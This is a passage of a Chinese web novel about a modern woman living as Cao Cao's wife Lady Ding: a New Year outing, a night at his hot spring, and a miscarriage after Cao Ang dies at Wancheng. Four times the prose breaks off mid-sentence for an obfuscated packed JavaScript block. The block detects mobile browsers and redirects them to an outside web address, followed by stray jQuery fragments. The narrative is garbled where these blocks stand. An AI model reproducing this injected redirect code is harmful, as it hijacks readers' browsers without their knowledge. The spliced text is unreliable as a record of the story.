众人无比惊讶,不住感叹这从未见过的奇观。 气氛顿时变得欢快,如此其乐融融的场景,颠沛流离多年的刘协已经许久未看到了。他问曹操:“如此奇景,朕第一次见到。这是何物?” 曹操回话:“陛下,此物名万紫千红,是臣和臣的夫人丁氏送给陛下的年节贺礼。” 刘协感叹:“丁夫人真是蕙质兰心。赏!” “谢陛下!”曹操低头含笑,脑海里不自觉浮现出丁瑶清隽的面庞。 此时的丁瑶正在城外吹冷风。 虽然满天银花十分好看,把唐朝的盛景提前到汉朝着实震撼,可实在太冷了。 丁瑶披了两件厚斗篷,把自己包裹成粽子,依然抵不住寒气往袖子和领口钻。 北风呼啸,不是玩笑。 烟花放完,美景谢幕。 七喜心疼地催促道:“夫人,外头天寒,快回府吧。” 丁瑶接过小桃递来的新换的手炉,搓搓手,哈了口气说:“反正都出来了,难得过年节,咱们找个摊位吃点东西喝口小酒,暖暖和和守岁去!” “这不合规矩。”七喜和小桃不敢。 “少喝一点怕什么,我请客,走吧!”丁瑶笑着上了马车。 年节当天,街上百姓很多,还有许多夜市摊主把摊子支在路边,高声卖力吆喝着。 小孩子打雪仗,追追跑跑。老人家倚门含笑地看着。还有人买了爆竹丢在路边,捂着耳朵听它噼啪做响。 汉代的爆竹没有火药,而是真正的烧竹子,是名副其实的爆竹。丁瑶掀开车帘,看得兴奋。 不远处有家酒馆,生意兴隆,里面的谈笑声隔着街都能听见,还有人鼓掌叫好,似乎正在上演什么好戏。 “停车。”丁瑶喊车夫停下。 七喜拉住丁瑶,劝道:“夫人,那个地方人多眼杂,咱们还是去春晖楼吧。” 春晖楼,许昌最大的酒馆。丁夫人曾和曹操去过,达官贵人的娱乐场所,去了纯属交际应酬。 他们在那里,遇见了卞纾。 七喜是新人,不知道其中弯弯绕绕,小桃却是知道的。见丁瑶犹豫,以为她是想起了遇到卞纾以及被卞夫人夺宠的不愉快,立刻打断七喜道:“今天年节,夫人想去哪就去哪。我们这么多人,还怕护不住夫人吗?” 丁瑶立刻点头:“小桃说得是。春晖楼名气大,可酒中规中矩。想寻好吃好喝的,就要到市井中去。跟我走吧!” 一进酒馆,暖暖热气扑面而来。倒不是家店炭火烧得足,而是酒馆实在人气太旺。 正中央桌子上站着位老先生。他已经喝得半醉,步子摇摇晃晃,人都快掉下桌子。在周围人“哎呦,小心”的提醒声下,他半晕半醒地说道:“……如今这天下,已经大乱啊!皇城被毁,奸臣当道。多少人易子而食、流离失所,眼前的所谓繁华,不过是镜花水月罢了!” 底下有人讥笑:“老头,你还能有酒喝,有气在这儿说话,就感恩戴德吧。天下大事,岂是我们这些小老百姓能左右的。” 有人说:“各路诸侯里,最强大的是冀州袁绍。” “不见得吧,我可听闻吕布此人十分了得,一招辕门射戟化解袁术和刘备的矛盾,平息一场血雨腥风,何等神武。” “呵,一介武夫罢了,曹司空灭他是迟早的事。唯一可怕的敌人,是袁绍。你们说,曹司空真要和袁绍打起来,谁能赢啊?” 有人接话:“唉管他呢,大不了我就再跟着搬一次家。只要能活着,谁主天下不成啊。司马公子,你说呢?” 听到这一声,丁瑶下意识朝那边瞥了眼。 只见酒馆角落里坐着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555558|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位年轻人。 他身着锦缎,一看就是闲来无事、出门讨酒喝的大户人家公子。他中等身材,相貌平平,唯有一双眼睛很黑很亮,深不见底,摄人心魄。 他手里握着酒杯,好像在专心听他们谈话,眼神却有点迷离。片刻,他眼睛闭上,脑袋一歪,砰地一下倒桌子开睡。 众人:“……” “行了行了,别管他,咱们喝咱们喝!” 这时七喜端着酒壶和下酒菜过来了,小桃还买了本店特色烤饼和熏肉干。 七喜说:“夫人,这里太吵,我们找个安静位置坐吧。” 窗边位子原本坐着一对小夫妻,这会儿人刚走,位置空出来。丁瑶指着那边道:“去窗边,安安静静看雪景。” 子时过,已经是建安二年了。 大雪午后停了一阵,此刻忽然又下起来。 丁瑶打开窗子,喝了口酒,望着外面发呆。 算起来自己穿越过来已经快半年了。她没想过自己什么时候有机会能回去,只不知如何把握未来命运。 她对历史知道的不多,但丁夫人不太美好的结局,一直是她的心头刺。 曹昂之死的雷随时会爆发,她不想如今难得的平静生活被炸得支离破碎。 街上百姓陆续散去,酒馆的热闹却仍在继续。丁瑶耳边一侧人声鼎沸,一侧渐渐归于寂静,冰火两重天。 热闹八卦听够了,她把脸贴近窗口,逐渐屏蔽酒楼的喧闹。 一壶酒喝完,丁瑶招呼七喜再去打一壶。七喜见丁瑶脸色微微泛红,担心夫人在外面喝醉了回头跟曹司空无法交代,于是努力劝道:“夫人啊,您要是觉得不尽兴,咱们打一壶就回府慢慢喝,可好?” 丁瑶正在兴头上,哪肯离开。她摇摇手指,指挥小桃和七喜去把好酒好肉拿来。 小桃和七喜相互递了个眼神,准备一左一右把夫人驾回马车上。 丁瑶早猜到小丫头想干什么,和她在一起久了,俩人原有的奴性淡化不少,敢打她的主意了。 她起身,打算自给自足丰衣足食。这时,余光瞥见窗外一辆熟悉的马车驶过白雪覆盖的街巷,和她自己的马车并排停在酒馆门口。 新来的马车好眼熟啊,似乎也是司空府的。 难道大过年的,府里有人和她一样好雅兴? 来得好啊,一起喝酒! 看清下车的人,丁瑶酒醒了一半。 来者不是别人,正是曹操本尊。 曹操身着玄色外袍,朱红色里衣,深沉又厚重的颜色穿在他身上,气势迫人。 黑红色在秦朝和汉初是帝王朝服的配色,只是到东汉末年,皇帝朝服才改为黄色。只有地位崇高者,才能着玄色。 丁瑶站在窗前。 曹操站在窗外。 两人隔窗相望。 漫天大雪,他没有打伞,头上落了零星雪花。 13. (十三)温泉 刚从宫里出来,曹操本来车上小憩,忽听车夫说:“大人,那不是府上的马车吗?” 曹操迷迷糊糊睁眼,掀开车帘扫了眼外面,看见丁夫人马车停在酒馆外,她的车夫小四和贴身丫鬟都不在。 他令车夫停下,自己下车看,结果就看见丁夫人坐在窗边,兴高采烈地和丫鬟小桃、七喜一起喝酒。车夫小四立在后面,同她们喝酒吃肉。 曹操记得丁瑶离家出走时受伤,却让医工先给车夫和婢女医治。曹仁说嫂夫人仁慈,曹操也以为丁瑶是心善。可今日一见他忽然意识到,丁瑶不是普通的心善,而是对待下人无尊卑观念,把他们当自己人一般会对待。 从前的阿瑶不是这样。她对下人很严格,府上很多规矩条框都是她制订的,如今她怎么这般随和了? 从前的阿瑶循规蹈矩,绝对想不出万紫千红这样的节目,如今她倒是心思多,有趣得紧呢。 曹操立在原地,忽然笑起来。 一声,两声,三声…… 笑声听不出喜怒,让车夫心里直发毛,连给自家主子打伞都忘记了。 曹操这一笑,让酒馆里的四位更不得安生。 车夫喝了一壶酒,差点儿当场尿裤子。 七喜和小桃原本泛红的脸登时惨白,手缩在袖口抖得像筛子。 七喜怕极了,颤声问:“如何是好?夫人,现在如何是好啊?” 丁瑶不傻,但也不慌。虽然身为当家主母进出酒馆有点不成体统,但她一没有和其他男子共饮,二今天是年节痛快痛快又何妨,三她刚放完烟花让天子一笑,曹操不会惩罚她。 曹操平日没工夫管府里下人的事儿,只要不触他霉头,基本不惩罚下人。他们这么怕做什么? 不过曹老板一向阴晴不定,尤其是他笑起来,意义非凡。笑,不一定就是觉得有趣和高兴,有可能心里是在盘算什么。自己还是谨慎一点好。 这样想着,丁瑶想到了万金油的办法,伸手不打笑脸人嘛。不管对方存了什么心思,只要不是兴师问罪,来一个大大的拥抱总没错。她喝了酒,意识半清醒,做出这种有点小放肆但又小鸟依人的样子,效果肯定不错。 “表哥!”丁瑶面颊微红,张开双臂,撒娇似的跑过去。 曹操被她突如其来的一抱弄怔了,片刻,他拍拍她的后背,轻声问:“你这是喝了多少?” 丁瑶松开他,笑着比了个手势:“不多,两壶而已。” “还不多?” “今日过年节,我高兴。而且今天我完成了一件大事,必须庆祝。万紫千红哄得陛下如何?”丁瑶眉毛上扬,有点得意。 “甚好。”曹操一笑,不吝称赞,“有劳夫人了。” 丁瑶趁机道:“那表哥就……”她指了指身后吓到僵直的七喜等人,“不要吓唬他们了。” 曹操愣了一下,大笑起来。这笑声听上去是真心愉悦的,连车夫都松了口气。 终于想起来为曹司空撑伞的车夫急忙跑过来,为曹操和丁瑶撑伞。 曹操理了理丁瑶额前的碎发。他一摸她的脸,虽然她的脸看上去发红,可触觉生凉,看样子为了准备宫宴节目在城外冻了许久。 丁瑶有点不自然,低下头说:“天不早了,我们回去。” 曹操却说:“天不早了,今晚不回府了。” 嗯?不回府能去哪儿? 曹操摆摆手,让七喜他们自行离开。然后他先上了马车,又一把将原地错愕的丁瑶拽上车。 丁瑶低呼一声,急忙问他:“去哪里?” “西园。”曹操没理会丁瑶,直接吩咐车夫。 今日年节,无宵禁。 马车出城,行驶在笔直的官道上。 路面堆积厚厚一层雪,车轮压在上面发出嘎吱嘎吱的声音。外面风刮得有点急,吹得木质车窗啪啪作响。 车内有暖炉,十分暖和。 曹操很安静,闭眼小憩。 丁瑶看了他一会儿,见他没有说话的意思,便也闭上眼睛休息。 她知道曹操在府外还有一处小院,具体位置不清楚。她之前没去过,只听说曹操头疾犯病厉害时,会去西园休息请大夫医治。 不过此刻的他如此气定神闲,不像头疼发作的样子。 不到半个时辰,马车停下。 车夫说了声:“司空,到了。小心路滑。”然后跪在地上,用后背当脚凳,等待曹操踩着他的后背下车。 曹操犹豫了一下,忽然想到丁瑶和七喜他们一起喝酒的样子,觉得阿瑶可能不喜欢用这种方式下马车。他叫车夫起身立在一旁,自己先跃下马车,再拉住丁瑶的手,把她从车上抱下来。 丁瑶左右张望,打量起小院。 小院子被一层厚厚的白雪覆盖,地面、屋顶、树梢和栅栏上都积满了雪。院子静悄悄的,只有雪压枝头落下的声音,偶尔打破静谧的气氛。 因为这里不常来人,院子灯火较为昏暗,水缸都结冰了。可烟囱冒着滚滚炊烟,后院似乎也有热气升腾,又显得此处不那么清冷。 两位下人一路小跑出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555559|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来迎接。其中一人见到曹操,有些疑惑,可还是照例问:“司空可是头疼?需要奴找大夫吗?” “今日不医头疾。去给夫人准备一身换洗衣物。” “是。” 丁瑶跟着那个人往屋里走,心里犯嘀咕,这人可是男子啊,如何进屋伺候她换衣服。 直到进屋她才发现,屋子里有专门等候她的婢女,还有女子的衣物和梳妆用品。 丁瑶心梗了,顿时有点抵触。 原来如此,这里确实是曹操休息医头疼的地方,也是他偶尔开小荤金屋藏娇的地方,否则怎么会有女婢。 曹操从前也带夫人出门游玩过,虽然这事儿没轮到她丁夫人,可卞夫人、杜夫人都出过门。曹操可没空陪她们逛街,大概率就是来西园。 头疼的话需要人照顾,暖床也需要人。 平日丁瑶把自己关在院子里,喜欢什么就做什么,无所谓曹操去哪家夫人院子,乐得自在。如今丁瑶变成被单独挑出来的那一个,她第一次直观体会到什么叫众夫人之一,什么叫被召幸。 原本放烟花、喝小酒的开心,瞬间散去一半。 “夫人,换件衣服,泡个热水澡暖暖身子。”陌生的侍女毕恭毕敬。自始至终她一直半低着头,连替丁瑶更衣时也不抬头看。 丁瑶懒得问什么在她之前有多少人来过之类的,如此小家子气、显而易见的问题她也不屑于问。 晚上在城外冻得透透的,洗个澡又何妨。 弯曲的回廊一直通向后院的池塘,池塘冒着腾腾热气,令人有点看不清眼前的景象。为了防滑,池子周围都铺了木板,而非鹅卵石。 丁瑶褪去鞋子,光脚踩着木板。脚底凉气阵阵,她加快脚步往池边走,毫不犹豫把脚探进热腾腾的水里。 好舒服啊! 接着,她把另一只脚也伸进去,瞬间暖到骨头里。 就在她准备舒舒服服洗个热水澡的时候,黑暗的角落传来一个男声:“来了。” 丁瑶惊得身体一晃,人栽进池子里。她像小狗划水一样扑腾两下,站起来。低头看了自己一眼后,她立刻缩回池子里,只敢露出一个脑袋。 不光是因为太冷了,风一吹刺骨寒凉。更因为她入水时没脱衣袍,湿衣服贴在身上显出她玲珑的身材,更露骨魅惑。 曹操好笑道:“怕什么,我又不过去。只是觉得夫人在城外冻久了对身体不好,才带你来的。” 丁瑶在距离他最远的地方坐下,感觉这不是温泉水,而是沸腾的油锅,快把她煮熟了。 14. (十四)变故 眼睛渐渐适应了黑暗,丁瑶逐渐透过氤氲的雾气看到这是个能能容十人的大泡池。 严格来说,许昌城外没有天然温泉资源,此处是人造的泡池。四周搭了五个热水出水口,从别处烧的热水源源不断涌出来,注满池子。最外侧有一个排水口,不断换水以保持水温。 丁瑶咋舌。这大冷天的,烧这么一池子水还要保持温度,得花多少时间和金钱啊,曹老板太会享受了。 刚才听了一会儿的雪又下起来,不大,零零星星像冰晶般落下。不影响泡温泉,还别有一番感受。 丁瑶在现代时特别向往冬天泡雪地温泉,可上学的时候有时间没钱,工作以后有钱没时间。没想到自己多年的梦想,居然在今日实现了。虽然不那么十全十美,可不妨碍她忽略某个人、专心享受温泉。 可那人偏偏要她内心平静时,刷存在感。 “阿瑶,你记得我们第一次见面吗?那年你刚及笄,时至盛夏天气炎热,你和丫鬟在丁家后院池边戏水。当日我随父亲到丁家拜访丁伯父,我还是孩子心性,爬到墙头玩,就看见你在院子里笑闹的样子。”曹操脸色被水雾笼罩,就像戴面具一般。 “你瞧见我偷看,冲我喊了句什么?” 丁瑶讷道:“呃……不记得了。” “呵,你骂我登徒子。”曹操嘿嘿笑,似乎被骂也很开心。 丁瑶窘。她当然知道丁夫人这一段过往,可这话丁夫人说得,她说不得,何况那时候他们还年少,如今的曹司空可不是当年上房揭瓦、偷鸡摸狗的曹阿瞒。万一说出来惹他不高兴怎么办? 曹操缓缓道:“那时我觉得这个女子如此有趣且与众不同,深得我心。回家我便同父亲说,我想娶丁家长女为妻。人人都说这是一门好亲事,丁家与曹家天作之合,日后能助曹家一臂之力。可我当时只想着,能娶到阿瑶是我的福气。” 丁瑶眨眨眼:“能嫁给表哥,也是我的福气。”场面话谁不会说。 “可自从你嫁给我,你端庄持重、温柔贤良,是个好妻子,可再也没有那般笑过。”曹操蹙眉。 丁瑶淡淡一笑:“身为当家主母,一言一行都不可被挑错处。”贤妻人设不能倒。 “那你今日还在外面喝到半醉?” 丁瑶忙说:“今日是我逾矩,下次一定不会。” “偶尔为之也无妨。”曹操轻笑一声,不再多言。 他本想往丁瑶身边靠一靠,怕她不愿意,只好待在原地不动。 他原本想说这个池子就是仿照丁家后院为她建的,没想到刚搬来许昌没多久,她就同他吵了一架,还要离家出走,事情就搁置了。 这几年他一直不知该如何与阿瑶相处,以至于相见不如不见。也就在这几个月,阿瑶离家出走归来后,他才慢慢开始亲近她。 而她,看似没有抗拒,可心里是拒绝的。 丁瑶心里此时七上八下。 曹操突然和她谈起感情来了?跟她谈生意还差不多,跟曹孟德谈感情,简直痴心妄想。他忽然念起旧情来,不过是她策划的烟花表演得了天子心,他心情好,随口念叨几句罢了。 他与丁夫人也曾琴瑟和鸣过,可丁夫人对他的感情,在他因为她没有生养,成婚三年便纳刘氏为妾后,就慢慢淡了。随着一个接一个侧夫人进门,她更是逐渐看清,君恩如水留不住。 丁夫人心灰意冷,而丁瑶,她本来也没有付出过什么真心。她穿越到丁夫人身上,只是想好好善待这具身体,好好爱自己。 哪怕曹操得到她的身,也不可能得到她的心。 今夜,丁瑶算是被人狠狠地爱了一回。 当她腰身酸软,困倦到眼睛睁不开时,忽然感觉手指一凉,有件冰凉的物体套在她食指上。 她抬起另一只手摸了摸,是枚玉戒指。 她眼睛没睁开,在累到睡着前听见曹操在她耳边说:“先前送你的那块好玉,不能浪费了。” 丁瑶这一觉睡得时间很长,却并不好,整夜乱梦不止。她一会儿梦见现代拼命工作的自己,一会儿看见强忍醋意,表面端庄的丁夫人。直到睡醒,已经日上三竿了。 许是昨晚喝酒又睡得不太踏实,她头有点疼,精神不佳。 身边的曹操已经不在,他躺过的床铺都凉透了。 婢女说曹司空天不亮就离开了,让夫人多睡一会儿,傍晚自有马车来接她回府。 丁瑶揉揉太阳穴,食指的玉戒指无意间碰触皮肤,微微的凉。 她怔了下,忽然想起睡前曹操那句话。 什么叫好玉不能浪费了?她拿玉做什么来着? 答案在她回府后立刻确认了。 她近期准备万紫千红的节目,没时间找夫人们一起打牌。 她的牌少了一张,被曹操拿来做戒指了! 丁瑶气鼓鼓的成了河豚,无处发作时,她听到小桃传来的消息,曹操准备明日发兵宛城。 动作如此快,刚过完年节连上元节也不等了,他便整军待发。 快到他这几日没有回府,直接从军营出发,没有和任何人告别。 曹老板搞起事业来,无人可挡。 两个月,无消息。 除非有十万火急的事情,否则他不会往府上递消息,这么多年能第一时间传到府上的,是捷报。 天气转暖。 丁瑶房间里的热炕熄火了,院子里新种的花开了,姹紫嫣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555560|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 红十分好看。 别院子的夫人们想来赏花品茶,却被丁瑶婉拒了。 若是平常,丁瑶耐不住寂寞巴不得人多热闹,可最近一段时间她感觉头晕乏力,明明没有使用技能,却总是睡不醒。 原本没当回事,觉得多睡觉闭门谢客就好,没想到又过了几日,她不但精神没恢复,竟然还发起热来。 在古代,伤寒感冒都能要人命。丁瑶不敢大意,立刻叫七喜去请大夫。 大夫把完脉,再三确认后,神色凝重地道:“夫人有喜了,已经两月有余。” 七喜和小桃面露喜色,说道:“盼了这么多年,夫人终于有孕了。” 丁瑶犹如晴天霹雳,震惊的全身石化。 她明白,既然穿越成丁夫人,再谈守身如玉之类的就矫情了,但她从没想过生孩子。而且历史上的丁夫人没有亲生孩子,除非她穿越后这只小蝴蝶能改变历史,否则这孩子大概率是生不下来的。 果然,大夫神色不好,担忧且焦急。 丁瑶直接问:“大夫,可是我身体有问题?” 大夫问:“夫人近来食欲可好?” 丁瑶摇头:“几乎没有胃口,每日只能吃一碗粥。” 大夫再问:“夫人睡眠可好?” 丁瑶还是摇头:“每日昏昏沉沉,睡得时间长,但梦多,醒来没有精神。” 大夫又问:“可有腹痛腹凉的感觉?” “隐隐有一点,我还以为是胃肠不适呢。”话到此处,丁瑶大概能猜出八九分,心一沉,问道,“大夫,这孩子能平安生下来吗?” 大夫叹口气,实话实说:“夫人数月前坠下马车受惊,身体还在恢复中,如今并不是有孕好时机。且夫人这个年纪生头胎,更是险之又险。我会尽力为夫人保胎,但能否足月生产,除了看天意,还要看夫人自己的努力。这段时间,夫人一定要安心静养,按时喝药,切不可受到任何刺激,否则不但孩子不保,您自己的性命也堪忧啊!” 七喜和小桃正欢喜着,忽然听到这话,顿时如坠冰窖。 小桃拉着大夫的袖子,跪着求他:“求您一定救救夫人啊,她和司空好不容易有了这个孩子,求您救救她!” 大夫压力山大,额头流汗,直说一定尽力。 送走大夫,小桃去外面煎药。七喜苦着脸,守在丁瑶床边,想哭又不敢哭。 丁瑶安慰她:“哭什么,叫外面人听去以为咱们院子发生什么坏事了。” “夫人,您不害怕吗?” “怕有什么用,一切都是命。”丁瑶假装坦然。她不是很期待孩子,但还是怕死的。 为了活着,她已经做好努力保胎,争取生下孩子的准备。 15. (十五)兵败 丁夫人有孕的消息很快传到其他夫人们耳朵里,尤其是她这一胎怀得格外辛苦,甚至有可能生不下来的消息,更是传的邪乎。 正所谓坏事传千里,丁瑶此番深有体会。 大夫把脉确认她怀孕后的第二天,卞夫人就来探望她,还带来许多据说对安胎有帮助的凝神香、安睡枕之类的。 她面上接受了,待卞夫人走了,就让七喜把东西收起来。 倒不是信了什么放点麝香流产的宫斗剧情,而是卞夫人用香料太重,丁瑶闻不习惯。 卞夫人刚走,杜夫人就来了,带来了不知道从哪弄来的人参,说是大补身体。 药可不能随便吃,有时候补的不对反而伤身。丁瑶谢过好意后,也叫七喜把东西收起来。 然后,她再次闭门谢客了,谁来都不见。 七喜和小桃每日贴身伺候,一边伺候饮食和汤药,一面给丁瑶鼓劲。 小桃满怀期待:“夫人,司空十分期待他和您的孩子,若此番出征归来,司空知道您怀身孕了,他一定很高兴。” 七喜附和:“是啊,卞夫人总拿亲生孩子的事对夫人阴阳怪气。虽然您有大小姐和两位公子,可毕竟是养子,不如亲生的好。” “这话不能乱讲。”丁瑶提醒她们俩人,“蓉儿好不容易和我亲近些,这话不可叫人听去。昂儿此番随大军出征,定是要立大功的,肯定会受到重用,你们不可在背后说什么亲生孩子和养子之类的话。” “是,夫人。”七喜和小桃点头。 大夫开的药一味比一味苦,一日三顿简直要了她的命。每次喝药都像生吞熊胆,苦不堪言。好几次丁瑶喝完药就想吐,如果吐了,还要重新喝一碗,再不行就换药方。 可怜她在现代还是单身,更别提生孩子养孩子。没想到穿越古代,好日子没过几天,就要受这般罪。 不是她喜欢小孩,而是怀上了如果生不下来,在古代有多危险她是知道了。 古代生孩子,无论生下来还是流产,都是鬼门关走一遭。 是她太相信历史上丁夫人和曹操近亲结婚没孩子,才一点防护措施都没有,造成今天两难的局面。 然而安静了没几日的丁瑶,清晨被一阵敲门声吵醒。 “丁姐姐,出事了!” 谁也没想到卞夫人一早登门。七喜和小桃没来得及谢客,卞夫人已经跑进院子敲丁瑶卧房的门了。 丁瑶翻了个身,意思是不想听她说话。七喜推开房门,刚想请卞夫人离开,没想到对方先开口说话了:“丁姐姐不好了,宛城大败啊!张绣降而复叛,以犒劳三军为名,趁三军将士微醉,斩杀典韦将军,欲杀司空。幸好司空没事,可……昂儿为掩护父亲,被敌军杀害了!” “你说什么?谁死了?”丁瑶立马坐起来。 “典韦将军战死,曹昂和曹安民为救父亲都死了。如今荀彧大人和郭祭酒已经到府上商量对策了,说司空已经逃离危险,在远处扎寨暂避……” 后面的话丁瑶没再听了,脑子里不停重复四个字:曹昂死了。 曹昂死了,他死了。 她从前只记得是赤壁前的某场大战,曹操因美色误事,害死了长子曹昂,却没想到事发这么快,就是宛城之战。 她的结局,快要到了? 丁瑶脸色煞白,嘴唇咬得太紧出了血。 “夫人,请节哀,您保重身体啊!” …… “夫人,想想肚子里的孩子啊!” …… “夫人……夫人昏过去了,快叫大夫!” ** 张绣背靠荆州刘表,重创曹操一次后,只要严防死守,曹军再难有机会。再僵持下去,只会影响曹军未来的士气。 在荀彧的书信劝谏下,曹军返回许昌。 大军回城的那天,明明上午还是好天气,下午曹军入城,忽然天阴下来,还刮起一阵妖风,吹得将士们头上束得白色麻带都飘了起来。 路边摆摊的小贩、酒馆喝酒的百姓,全都跑来看热闹。 众人议论纷纷。 “都说曹司空如何用兵如神,没想到栽在张绣的妾室手里。因为贪恋女人美色误了三军,简直是笑话!” “我说什么来着,宦官之后就是目光短浅,哪比得上冀州袁绍四世三公,受人敬仰。” “那有什么用,曹阿瞒手里有天子啊!他袁绍再厉害,手里没天子就不行!” “也就是姓曹的运气好,在混乱中率先抢到天子,否则这司空之位轮得到他?” “别胡说八道,天子在袁绍手里,袁绍就有本事统一天下了?曹司空这一仗虽然败了,可仍然有许昌、豫州等地,只要能痛定 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14555561|155434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思痛,将来未必不能打个翻身仗。” …… 在街头百姓的议论声中,曹操大军缓慢而至,大部队中间用板车拉着三口厚重的棺椁。 密密麻麻的人群被路边的侍卫长戟拦住,不让他们靠近。 一直到司空府门口,围观百姓越来越多。 曹操一行人停在府门口。 府门打开,门前挂着两盏代表丧事的惨白灯笼。 荀彧、郭嘉等人出门迎接,虽然各个脸色灰白,腰杆却努力挺直,面对百姓的议论和质疑不动声色。 而丁瑶一身素白的衣服,在七喜的搀扶下,最后一个出门。因最近被各种苦涩汤药折磨,她脸色憔悴异常,身形消瘦,仿佛一阵风就能把她吹跑。 曹昂名义上是她的养子,也是和丁夫人感情最深厚的孩子。她若是待在屋里不出门,叫外人看去,会说她这位夫人不称职,连母子情都不顾了。 丁瑶面无表情地站着。没想到曹操下马后,选择性忽视那些等在门口的文臣和谋士,直接走到丁瑶身前。 他半低着头,明明身材挺拔比她高出许多的人,此时背脊却弯下去了,盔甲上残破的红色披巾被风吹动,披巾有些地方被血染成黑色。 丁瑶闻到血腥味,又瞥见大军后的三口棺椁,胸口闷疼,而后一阵恶心想吐。 曹操握住她的手腕,连夜未睡的他眼睛发红。他看着她的眼睛,张口无言。 丁瑶被汗味血味冲击的只想吐,努力想挣脱开。 “放手!快放手!”丁瑶忍着恶心,努力挣扎。 没想到曹操手上的力气更大,甚至抓得她腕上留下一道红印。 他死死抓着她的手,在众目睽睽下,用她的手给了自己一个狠厉的耳光。 周围百姓倒吸一口冷气。 丁瑶呆住了。 曹操沉声问:“如果我说,我是被张绣设计的,你信我吗?” 丁瑶没有回答。 曹操又问:“阿瑶,你恨我吗?” 丁瑶依然没说话。 下一秒,她感觉腹部一阵紧缩的疼痛,双.腿.间有温热的东西流出,很快染红她白色的衣服。 “夫人!快救人啊!”身后的七喜惊叫起来。 曹操还没明白怎么回事,眼前的女子已经闭上眼睛,昏死在他怀里。 16. (十六)回家 孩子没了,病痛中的丁瑶嘴里不停重复两个字:“回家,回家……” 大夫吓得跪在地上:“司空,请恕小人无能,夫人怕是到弥留之际了。” “滚!”曹操一脚把眼前人踹开,又重新拽来一位大夫。 新来的大夫后背都被冷汗湿透了,他也束手无策,只能磕头请罪。 “小的无能,夫人情况危急,现在恐怕只有华佗华神医能救治。” “华佗何在?” 另一个医工小心翼翼说:“华神医可能在城外医治百姓,可能去山上采药,也可能……” 曹操直接掀桌子了。 他吩咐手下人分成三路,骑快马去寻找华佗,然后指着跪在面前的几个大夫,吼道:“在华佗来之前,你们用尽所有办法医治夫人,若夫人醒不过来,唯你们是问!” “是是是!” 最终,曹操派出去的三路人马也没有找到神龙见首不见尾的华神医。 丁瑶靠着其他几个大夫的救治,终于在昏迷三日后醒来了。因失血过多,她气色很差,脸白如纸,嘴唇也是苍白的。 因宛城战败,曹操忙着收拾残局,她苏醒后,他便再无时间来探望她。卞夫人和环夫人来过几次,慢慢也疏远了。 小院逐渐冷清下来。 丁瑶倒是无所谓曹操来不来,只是自己身体实在难受遭罪。她畏寒得厉害,四月天也要用火盆和暖炉。每到下午她又会大汗不止,浑身湿透。 那些大夫害怕曹操一怒之下杀了他们,不敢说实话,只有丁瑶自己知道,她的身体彻底毁了。 她长叹口气。 唉,累了,玩儿不动了。 ***** 先是曹操因美人误事连累三军,导致宛城战败。再是丁夫人守在府门口,看见曹昂棺椁伤心昏厥,因太过悲痛血崩流产。 百姓们议论纷纷,既是对曹操薄情的不满,也是对丁夫人命苦的同情。 宁嫁挑粪郎,莫嫁曹阿瞒这句话便流传出来了。 丁瑶如此伤心伤身,丁家自然不会坐视不理。 老夫人写信到司空府,看似句句言辞恳切,实则如刀如剑,隐隐表示对曹操的失望,同时要求丁瑶离开许昌回娘家修养。 书房里,曹操反复把信看了几遍,眉头锁紧,脑子里不断重复丁瑶昏迷时口中的那句“回家,回家。” 她也想离开了吗? 曹仁开口劝阻:“大哥,若是让嫂夫人回丁家,恐怕她就不愿意回许昌了。” 曹操淡淡瞥了他一眼,曹仁识趣的闭嘴。 把信丢在桌案上,曹操若有所思,背着手缓步朝丁瑶院子走。从书房到丁瑶住的院子不过百步,他第一次觉得路这么长。 自丁瑶失去孩子重病以来,曹操只探望过一次,而后便陷入无休止的忙碌。外面传言如何难听,他不愿意理就假装听不见。有时实在听得窝火,就杖毙一人杀鸡儆猴。可他管得了府上下人,管不了丁家的人。若不是他曹孟德现在有权有势,丁家估计早就来人兴师问罪了。 